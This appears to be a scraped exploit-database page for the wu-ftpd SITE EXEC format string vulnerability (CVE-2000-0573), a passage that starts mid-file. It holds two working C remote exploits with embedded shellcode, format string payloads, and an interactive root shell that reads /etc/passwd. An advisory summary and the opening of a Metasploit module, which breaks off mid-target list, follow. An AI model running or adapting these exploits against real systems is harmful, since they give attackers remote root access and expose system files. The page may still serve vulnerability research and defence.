        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1
,2,1,2,1,4},0},
        {0,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},
0},
        {0,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,
2,1,2,1,3,2,1,4},0},
        {0,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
        {0,NULL,NULL,0,0,0,{0},{0},0}
};

void usage(char*zu,int q){
int i, n, padding;
fprintf(stderr,"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n"
"         [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n"
"target    : host with any wuftpd\nuser      : anonymous user\n"
"dir       : if not anonymous user, you need to have writable directory\n"
"magic_str : magic string (see exploit description)\n-g        : enables magic string digging\n"
"-x        : enables test mode\npass_addr : pointer to setproctitle argument\n"
"ret_addr  : this is pointer to shellcode\nsystypes: \n",zu);
 for(i=0;targ[i].os_descr!=NULL;i++){
  padding=0;
  fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr);
  if(q>1){
   fprintf(stderr,"     Magic ID: [");
   for(n=0;targ[i].magic[n]!=0;n++){
    if(targ[i].magic_d[n]==4)
     padding=targ[i].magic[n];
    fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]);
    if(targ[i].magic[n+1]!=0)
     fprintf(stderr,":");
   }
   fprintf(stderr,"] Padding: %d\n",padding);
   fflush(stderr);
  }
 }
 exit(1);
}

int connect_to_server(char*host){
 struct hostent *hp;
 struct sockaddr_in cl;
 int sock;      
        
 if(host==NULL||*host==(char)0){
  fprintf(stderr,"Invalid hostname\n");
  exit(1);
 }
 if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
  if((hp=gethostbyname(host))==NULL) {
   fprintf(stderr,"Cannot resolve %s\n",host);
   exit(1);
  }
  memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
 }
 if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
  fprintf(stderr,"Error creating socket: %s\n",strerror(errno));
  exit(1);
 }
 cl.sin_family=PF_INET;
 cl.sin_port=htons(21);
 if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
  fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno));
  exit(1);
 }
 return sock;
}

int ftp_recv(int sock,char*buf,int buf_size,int disc){
 int n=0;
 char q;
        
 if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n');
 else {
  (void)bzero(buf,buf_size);
  n=recv(sock,buf,buf_size,0);
  if(n<0){
   fprintf(stderr,"ftp_recv: recv failed\n");
   exit(1);
  }
  buf[n]=0;
 }
 return n;
}
int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
 int n;
 n=send(sock,what,size,0);
 if(n!=size){
  fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n);
  shutdown(sock,2);
  close(sock);
  exit(1);
 }
 if(f)
  return ftp_recv(sock,ans,ans_size,0);
 return 0;
}

int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
 ftp_send(sock,buff,buff_len,q,ans,ans_len);
 if(strncmp(ans,"200-",4)==0)
   ftp_recv(sock,NULL,0,1);
 else
  ftp_recv(sock,ans,ans_len,0);
        
 if(strncmp(ans,"200-",4)){
  fprintf(stderr,"Cannot find site exec response string\n");
  exit(1);
 }
 return 0;
}

void ftp_login(int sock,char*u_name,char*u_pass)
{
 char buff[2048];
  printf("loggin into system..\n");
  snprintf(buff,2047,"USER %s\r\n", u_name);
  ftp_send(sock, buff,strlen(buff),1,buff,2047);
  printf(GREEN"USER %s\n"NORM"%s",u_name,buff);
  snprintf(buff,2047,"PASS %s\r\n",u_pass);
  printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"<shellcode>":u_pass);
  ftp_send(sock,buff,strlen(buff),1,buff,2047);
  while(strstr(buff,"230 ")==NULL){
   (void)bzero(buff,2048);
   ftp_recv(sock,buff,2048,0);
  }
  printf("%s",buff);
  return;
}

void ftp_mkchdir(int sock,char*cd,char*new)
{
 char buff[2048];

 sprintf(buff,"CWD %s\r\n",cd);
 printf(GREEN"%s"NORM,buff);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf("%s",buff);
 sprintf(buff,"MKD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"MKD <shellcode>"NORM"\n%s",buff);
 sprintf(buff,"CWD %s\r\n",new);
 ftp_send(sock,buff,strlen(buff),1,buff,2047);
 printf(GREEN"CWD <shellcode>"NORM"\n%s",buff);
 return;
}
void process_possibly_rooted(int sock)
{
 fd_set         fd_read;
 char buff[1024], *cmd="/bin/cat /etc/passwd;/usr/bin/id;\n";
 int n;

 FD_ZERO(&fd_read);
 FD_SET(sock, &fd_read);
 FD_SET(0, &fd_read);
 send(sock, cmd, strlen(cmd), 0);
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
  if( FD_ISSET(sock, &fd_read) ) {
   if((n=recv(sock,buff,sizeof(buff),0))<0){
     fprintf(stderr, "EOF\n");
     exit(2);
   }
   if(write(1,buff,n)<0)break;
  }
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<0){        
      fprintf(stderr,"EOF\n");
      exit(2);
    }
    if(send(sock,buff,n,0)<0) break;
  }
  usleep(10);   
 }
 fprintf(stderr,"Connection aborted, select failed()\n");
 exit(0);
}

int magic_check_f(int sock, char *str) {
 char q[2048], ans[2048];

 snprintf(q, 2048, "site exec %s%s\r\n", str, "%.f");
 if( strstr( q, "\r\n") == NULL) {
  fprintf(stderr,"Line TOO big..\n");
  exit(-1);
 }
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
 if( before_len+10 < strlen(&ans[3]) ) return 0;
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%.f");
 return 1;
}
int magic_check_o(int sock, char *str) {
 char q[2048], ans[2048];
  snprintf(q, 2048, "site exec %s%s\r\n", str, "%c");
  if( strstr( q, "\r\n") == NULL) {
   fprintf(stderr,"Line TOO big..\n");
   exit(-1);
  }
 ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
 if( before_len== strlen(&ans[3]) ) {
  before_len+=1;
  (void)strcat(str, "%d");
  return 3;
 }
 before_len=strlen(&ans[3]);
 (void)strcat(str,"%c");
 return 2;
}

int magic_check_ok( int sock, char *str)
{
 char q[2048], ans[2048];
 int i ,n=1, f, padding=0;
        
 snprintf(q, 2048,"site exec aaaaaaaa%s%s\r\n", str, "%p%p");
 if ( strstr(q, "\r\n" ) == NULL) {
  fprintf(stderr, "Line too long\n");
  exit(-1);
 }
 (void)bzero(ans, 2048);
 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
 if(strstr(ans,"0x61616161")==NULL)
   return 0;
 for(i =0; i < MAX_MAGIC && magic[i]; i++);
 magic_d[i]=4;
 while(n){
  for(f=0; f< 2; f++) {
   snprintf(q, 2048,"site exec %.*saaaa%s%s\r\n", padding, "xxxx", str, f?"%p%p":"%p");
   (void)bzero(ans, 2048);
   ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
   if( strstr(ans, "0x61616161")!=NULL) {
    if (f==0) {
     magic[i]=padding;
     return 1;
    } else if( f==1) {
     strcat(str,"%p");
     magic[i]=padding;
     return 1;
    }
   }
  }
  if(padding > 4) {
   fprintf(stderr,"Cannot calculate padding..\n");
   exit(1);
  }
  padding++;            
 }
 return 1;
}


int magic_digger(int sock)
{
 int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
        
 if(magic_str==NULL){
  if((magic_str=(char*)malloc(4092))==NULL){
   perror("malloc");
   exit(errno);
  }
 }
 (void)bzero(magic_str, 4092);
 where=0;
 while(get_out) {
  int q;
  if( where >= MAX_MAGIC-1 || all_failed <= 0 )
    return -1;
  if( magic_check_f(sock, magic_str) ) {
   o=0,f++;
    if(f==1){
     if(!magic[where])
      magic[where]=1;
     else
      magic[++where]+=1;
    magic_d[where]=1;
    } else
     magic[where]+=1;
   all_failed=MAX_FAILED*2;
   printf("%s", "%.f"); fflush(stdout);
   goto verify;
  }
  all_failed--;
  if((q=magic_check_o(sock,magic_str))){
   f=0,o++;
    if(o==1){
     if(!magic[where])
      magic[0]=1;
     else
      magic[++where]+=1;
    magic_d[where]=q;
   } else {
    if(magic_d[where]==q)
     magic[where]+=1;
    else {
     magic[++where]=1;
     magic_d[where]=q;
    }
   }
   all_failed=MAX_FAILED*2;
   printf("%s", q==2?"%c":"%d");
   fflush(stdout);
   goto verify;
  }
  all_failed--;
  continue;
  verify:
  if(magic_check_ok(sock,magic_str)){
   putchar('\n');
   return 0;
  }
 }
 return 0;
}

int main(int argc, char *argv[]){
        char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
        int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
        u_long ret_addr=0, pass_addr=0;
        for(i=0;targ[i].os_descr!=NULL;i++);
        while((c=getopt(argc,argv,"t:l:m:o:s:r:p:M:P:xghH?"))!=EOF){
        switch(c) {
         case 't': target=optarg;break;
         case 'l':
           username=optarg;
           passwd=strchr(optarg,'/');
           if(passwd==NULL)
            usage(argv[0],0);
           *passwd++=(char)0;
           break;
         case 'x': testmode=1; break;
         case 'o': offset=atoi(optarg);break;
         case 'p': pass_addr=strtoul(optarg, &optarg,16); break;
         case 'g': gm=1; break;
         case 'M': dir=optarg;mtype=1;break;
         case 'm':
           {
            int where=0;
            if(!*optarg) {
              fprintf(stderr,"-m requires argument, try -h for help\n");
              exit(1);
            }
            while(1) {
              magic[where]=strtoul(optarg,&optarg,16);
              optarg=strchr(optarg,',');
              if(optarg==NULL){
                printf("comma missing\n");
                exit(1);
              }
              optarg++;
              magic_d[where++]=strtoul(optarg,&optarg,16);
              if(strchr(optarg,':')==NULL){
               magic[where]=magic_d[where]=0;
               break;
              }
              optarg=strchr(optarg,':');
              optarg++;
            }
           }
           break;
          case 's':
            num=atoi(optarg);
            if(num>i) {
             fprintf(stderr,"systype too big, try -h for help\n");
             exit(1);
            } 
            break;
          case 'r':
            ret_addr=strtoul(optarg,&optarg,16);
            break;
          case 'P':
            padding=atoi(optarg);
            break;
          case 'H':
             bla=2;
          default: usage(argv[0],bla);break;
         }
        }
        if(target==NULL){
          fprintf(stderr,"No target specified, try -h for help\n");
          exit(1);
        }
        if(num==-1||num==-2) {
          for(i=0;!targ[i].def;i++);
          num=i;
        }
        (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));

        if(magic[1]!=0) {
         memcpy((void*)getit.magic,magic,sizeof(magic));
         memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
        }

        if(ret_addr)getit.addr_ret_addr=ret_addr;
        if(pass_addr)getit.pass_addr=pass_addr;

        getit.addr_ret_addr+=(offset*4);

        sock=connect_to_server(target);
        memset(shellcode, '\x90', sizeof(shellcode));
        shellcode[sizeof(shellcode)-1]=(char)0;
        if(!mtype){
         memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
         shellcode[sizeof(shellcode)-1]=(char)0;
        }else{
         memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
         shellcode[250-1]=(char)0;
        }
        printf("Target: %s (%s/%s): %s\n",target,username,*passwd=='\x90'?"<shellcode>":passwd,getit.os_descr);
        printf("Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %d\n\n",getit.pass_addr,getit.addr_ret_addr,strlen(getit.
shellcode));

        buff=(char *)malloc(1024);
        bzero(buff,1024);

        (void)ftp_recv(sock,NULL,0,1);

        (void)ftp_login(sock,username,passwd);

        if(gm||(magic_str==NULL&&getit.magic[0]==0)){
         printf("STEP 2A: Generating magic string: ");
         fflush(stdout);
         magic_digger(sock);
         memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
         memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
         printf("STEP 2B: MAGIC STRING: [");
        } else {
          printf("STEP 2 : Skipping, magic number already exists: [");
        }
        for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
         printf("%02X,%02X",getit.magic[i],getit.magic_d[i]);
         if(getit.magic[i+1]!=0)
             putchar(':');
        }
        printf("]\n");
        buff=(char *)realloc(buff, 4092);
        (void)bzero(buff, 4092);
        if(mtype)
         ftp_mkchdir(sock,dir,shellcode);
        printf("STEP 3 : Checking if we can reach our return address by format string\n");
        if(!magic_str){
          magic_str=(char*)malloc(2048);
          if(magic_str==NULL) {
            perror("malloc");
            exit(errno);
          }
          (void)bzero(magic_str,2048);
          for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
           switch(getit.magic_d[i]) {
            case 1:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%.f");
               break;
            case 2:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%c");
               break;
            case 3:
               for(num=0;num<getit.magic[i];num++)strcat(magic_str,"%d");
               break;
            case 4:if(padding<0)padding=getit.magic[i];break;
            default:fprintf(stderr,"STEP 3: INternal error\n");
               exit(1);
               break;
          }
         }
        }
        if(padding<0){
          for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
          if(num<(MAX_MAGIC-1))
            padding=getit.magic[num];
          else
            fprintf(stderr,"WARNING: PROBLEMS WITH PADDING\n");
        }
        
        if(!getit.islinux){
         if(!testmode)
           snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_addr
),magic_str,"%p");
         else
           snprintf(buff,4096,"site exec %.*s%c%c%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr),ma
gic_str,"%p");
        } else {
         if(!testmode)
           snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.addr_ret_
addr),magic_str,"%p");
         else
           snprintf(buff,4096,"site exec %.*s%c%c\xff%c%c%s|%s\r\n",padding,"xxxxxxxxxxxxxxxxxxx",MAKE_STR_FROM_RET(getit.pass_addr
),magic_str,"%p");
        }
        sleep(getit.delay);
        fflush(stdout);
        if((buff_p=(char *)malloc(4096))==NULL){
          fprintf(stderr,"malloc failed.\n");
          exit(1);
        }
        (void)bzero(buff_p,4096);
        ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
        if((buff_p2=strchr(buff_p,'\r'))!=NULL)
         *buff_p2=(char)0;
        if((buff_p2=strchr(buff_p,'\n'))!=NULL)
         *buff_p2=(char)0;
        buff_p2=strstr(buff_p,"|0x");
        if(buff_p2==NULL){
          fprintf(stderr,"Fix me, incorrect response from '%%p':%s\n",buff_p);
          exit(1);
        }
        buff_p2+=3;
        if(!testmode)
          printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.addr_ret_addr);
        else
          printf("STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)\n",buff_p2,getit.pass_addr);
        sleep(getit.delay);
        buff_p2=strstr(buff, "%.f");
        *buff_p2++=(char )0;
        strcpy(buff_p, buff);
        if(!testmode)
          sprintf(buff_p+strlen(buff_p),"%s%u%c","%d%.",(u_int)getit.pass_addr,'d');
        else
          sprintf(buff_p+strlen(buff_p),"%s","%d%d");
        strcpy(buff_p+strlen(buff_p), buff_p2);
        buff_p2=strchr(buff_p,'|');
        buff_p2++;
        printf("STEP 5 : Sending code.. this will take about 10 seconds.\n");
        if(!testmode){
          strcpy(buff_p2,"%n\r\n");
          ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
        } else {
          (void)bzero(buff,4096);
          strcpy(buff_p2,"%s\r\n");
          ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
          printf("got answer: %s\n",buff);
          exit(0);
        }
        free(buff_p);
        free(buff);
        signal(SIGINT, SIG_IGN);
        signal(SIGHUP, SIG_IGN);
        printf(RED"Press ^\\ to leave shell"NORM"\n");
        process_possibly_rooted(sock);
        return 0;
}

		

- 漏洞信息 (20031)

wu-ftpd 2.4.2/2.5 .0/2.6 .0 Remote Format String Stack Overwrite (2) (EDBID:20031)
linux remote
2000-09-26 Verified
0 vsz_
N/A [点击下载]
source: http://www.securityfocus.com/bid/1387/info
 
Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.
 
It should be noted that the SITE INDEX command is affected as well. 

 * Linux wu-ftpd - 2.6.0(1) (tested on RH6.2 wu from rpm)
 *
 * vsz_
 */

#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>

char linuxcode[] =
  "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
  "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
  "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27"
  "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
  "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
  "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
  "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
  "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
  "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
  "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


main (int argc, char *argv[])
{

  char cmdbuf[8192];
  char cbuf[1024];
  char *t;
  char nop[400];
  int pip, i, a = 22, st = 0;
  struct sockaddr_in sck;
  struct hostent *hp;
  long inet;
  int port = 21;
  fd_set fds;
  unsigned int aa;
  long reta, retb, tmp, retz;
  int ret;
  int add = 0;

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  memset (cbuf, 0x0, sizeof (cbuf));
  memset (nop, 0x0, sizeof (nop));

  if (argc < 2)
    {
      fprintf (stderr, "Usage: %s [ip] \n", argv[0]);
      exit (-1);
    }

  pip = socket (PF_INET, SOCK_STREAM, 0);

  if (!pip)
    {
      perror ("socket()");
      exit (-1);
    }

  inet = inet_addr (argv[1]);
  if (inet == -1)
    {
      if (hp = gethostbyname (argv[1]))
	memcpy (&inet, hp->h_addr, 4);
      else
	inet = -1;
      if (inet == -1)
	{
	  fprintf (stderr, "Cant resolv %s!! \n", argv[1]);
	  exit (-1);
	}
    }
  sck.sin_family = PF_INET;
  sck.sin_port = htons (port);
  sck.sin_addr.s_addr = inet;

  if (connect (pip, (struct sockaddr *) &sck, sizeof (sck)) < 0)
    {
      perror ("Connect() ");
      exit (-1);
    }

  read (pip, cbuf, 1023);
  fprintf (stderr, "Connected to: %s \n", argv[1]);
  fprintf (stderr, "Banner: %s \n", cbuf);
  strcpy (cmdbuf, "user ftp\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  memset (nop, 0x90, sizeof (nop) - strlen (linuxcode) - 10);

  strcat (nop, linuxcode);

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  sprintf (cmdbuf, "pass %s\n", nop);
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  if (!strncmp (cmdbuf, "530", 3))
    {
      printf ("loggin incorrect : %s \n", cmdbuf);
      exit (-1);
    }
  fprintf (stderr, "Logged in.. \n");
  fprintf (stderr, "+ Finding ret addresses \n");
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  strcpy (cmdbuf, "SITE EXEC %x %x %x %x +%x |%x\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  if (!strncmp (cmdbuf + 4, "%x", 2))
    {
      fprintf (stderr, "Wuftpd is not vulnerable : %s \n",
	       cmdbuf);
      exit (-1);
    }
  else
    {
      fprintf (stderr, "Wuftpd is vulnerable : %s \n", cmdbuf);
    }
  reta = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  retz = strtoul (strstr (cmdbuf, "+") + 1, strstr (cmdbuf, "|") + 11, 16);

  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  strcpy (cmdbuf, "SITE EXEC ");
  for (ret = 0; ret <= 88; ret++)
    {
      strcat (cmdbuf, "%x");
    }
  strcat (cmdbuf, "|%x\n");
  write (pip, cmdbuf, strlen (cmdbuf));
  sleep (1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  retb = strtoul (strstr (cmdbuf, "|") + 1, strstr (cmdbuf, "|") + 11, 16);
  printf ("Ret location befor: %x \n", reta);
  if (reta == 0)
    reta = retz;
  else
    add = 600;
  reta = reta - 0x58;
  retb = retb + 100 - 0x2569 - add;
  printf ("Ret      location : %x \n", reta);
  printf ("Proctitle addres  : %x and %u \n", retb, retb);
  sleep (2);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));

  sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
	   (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
	   (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  a = 22;
  memset (cbuf, 0x0, sizeof (cbuf));
  while (1)
    {

      memset (cmdbuf, 0x0, sizeof (cmdbuf));

      sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
	       (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
	       (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
      for (i = 0; i <= 128; i++)
	strcat (cmdbuf, "%.f");
      for (i = 0; i <= a; i++)
	strcat (cmdbuf, "%d");
      sprintf (cbuf, "|%%x|%%x\n", aa + 9807 - 460);
      strcat (cmdbuf, cbuf);
      write (pip, cmdbuf, strlen (cmdbuf));
      memset (cmdbuf, 0x0, sizeof (cmdbuf));
      read (pip, cmdbuf, sizeof (cmdbuf) - 1);
      t = (char *) strstr (cmdbuf, "|");
      tmp = strtoul (t + 1, t + 11, 16);
      if (tmp != 0)
	{
	  fprintf (stderr, "tmp 1  : 0x%x\n", tmp);
	  if (tmp == reta)
	    {
	      fprintf (stderr, "Cached a : %d \n", a);
	      st = 1;
	      break;
	    }
	  tmp = strtoul (t + 11, t + 22, 16);
	  fprintf (stderr, "tmp 2  : 0x%x\n", tmp);
	  if (tmp == reta)
	    {
	      fprintf (stderr, "Cached a : %d \n", a);
	      st = 2;
	      break;
	    }
	}
      if (st > 0)
	break;
      a++;
    }
  sleep (1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  memset (cbuf, 0x0, sizeof (cbuf));

  sprintf (cmdbuf, "SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c",
	   (reta & 0x000000ff), (reta & 0x0000ff00) >> 8,
	   (reta & 0x00ff0000) >> 16, (reta & 0xff000000) >> 24);
  for (i = 0; i <= 128; i++)
    strcat (cmdbuf, "%.f");
  if (add != 600)
    a = a - 1;
  fprintf (stderr, "Trying with : %d \n", a);
  for (i = 0; i <= a; i++)
    strcat (cmdbuf, "%d");

  aa = retb;
  if (add == 600)
    sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807);
  else
    sprintf (cbuf, "|%%.%ud%%n\n", aa + 9807 - 480);

  strcat (cmdbuf, cbuf);
  write (pip, cmdbuf, strlen (cmdbuf));
  memset (cmdbuf, 0x0, sizeof (cmdbuf));
  read (pip, cmdbuf, sizeof (cmdbuf) - 1);
  memset (cmdbuf, 0x0, sizeof (cmdbuf));

  fprintf (stderr, " Wait for a shell.....\n");


  while (1)
    {
      FD_ZERO (&fds);
      FD_SET (0, &fds);
      FD_SET (pip, &fds);
      select (255, &fds, NULL, NULL, NULL);
      if (FD_ISSET (pip, &fds))
	{
	  memset (cbuf, 0x0, sizeof (cbuf));
	  ret = read (pip, cbuf, sizeof (cbuf) - 1);
	  if (ret <= 0)
	    {
	      printf ("Connection closed - EOF \n");
	      exit (-1);
	    }
	  printf ("%s", cbuf);
	}
      if (FD_ISSET (0, &fds))
	{
	  memset (cbuf, 0x0, sizeof (cbuf));
	  read (0, cbuf, sizeof (cbuf) - 1);
	  write (pip, cbuf, strlen (cbuf));
	}
    }
  close (pip);
}
/*                   www.hack.co.za   [26 September 2000]*/		

- 漏洞信息 (20032)

wu-ftpd 2.4.2/2.5 .0/2.6 .0 Remote Format String Stack Overwrite (3) (EDBID:20032)
lin/x86 remote
2001-05-04 Verified
0 justme
N/A [点击下载]
source: http://www.securityfocus.com/bid/1387/info
  
Washington University ftp daemon (wu-ftpd) is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a very serious remote attack in the SITE EXEC implementation. Because of user input going directly into a format string for a *printf function, it is possible to overwrite important data, such as a return address, on the stack. When this is accomplished, the function can jump into shellcode pointed to by the overwritten eip and execute arbitrary commands as root. While exploited in a manner similar to a buffer overflow, it is actually an input validation problem. Anonymous ftp is exploitable making it even more serious as attacks can come anonymously from anywhere on the internet.
  
It should be noted that the SITE INDEX command is affected as well. 

http://www.exploit-db.com/sploits/20032.tar.gz		

- 漏洞信息 (F84534)

Wu-ftpd SITE EXEC/INDEX Format String Vulnerability (PacketStormID:F84534)
2009-12-31 00:00:00
jduck  metasploit.com
exploit,arbitrary
CVE-2000-0573
[点击下载]

This Metasploit module exploits a format string vulnerability in versions of the Washington University FTP server older than 2.6.1. By executing specially crafted SITE EXEC or SITE INDEX commands containing format specifiers, an attacker can corrupt memory and execute arbitrary code.

###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking
	
	include Msf::Exploit::Remote::Ftp
	include Msf::Exploit::FormatString
	
	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'wu-ftpd SITE EXEC/INDEX Format String Vulnerability',
			'Description'    => %q{
				This module exploits a format string vulnerability in versions of the
			Washington University FTP server older than 2.6.1. By executing 
			specially crafted SITE EXEC or SITE INDEX commands containing format 
			specifiers, an attacker can corrupt memory and execute arbitrary code.
			},
			'Author'         =>
				[
					'jduck'
				],
			'References'     =>
				[
					['OSVDB', '11805'],
					['CVE', '2000-0573'],
					['BID', '1387']
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'PrependChrootBreak' => true
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					# format string max length
					'Space'    => 256,
					# NOTE: \xff's need to be doubled (per ftp/telnet stuff)
					'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x2f",
					'DisableNops'	=>  'True',
					'StackAdjustment' 	=> -1500
				},
			'Platform'       => [ 'linux' ],
			'Targets'        =>
			[
				#
				# Automatic targeting via fingerprinting
				#
				[ 'Automatic Targeting', { 'auto' => true }  ],
				
				#
				# specific targets
				#
				[	'Slackware 2.1 (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)',
					{
						'UseDPA' 	=> false,
						'PadBytes'	=> 3,
						'NumPops' 	=> 8,
						'AddrPops'  => 100,
						'Offset'    => -2088, 			# offset to stack return
						'Writable' 	=> 0xbfffde26, 	# stack, avoid badchars
						'FlowHook'	=> -1, # auto now... 0xbffff1e4		# stack return addr
					}
				],
				# these aren't exploitable (using built-in, stripped down vsprintf, no %n)
				#[	'RedHat 5.2 (Version wu-2.4.2-academ[BETA-18](1) Mon Aug 3 19:17:20 EDT 1998)',
				#[	'RedHat 6.0 (Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999)',
				#[	'RedHat 6.1 (Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999)',
				[	'RedHat 6.2 (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000)',
					{
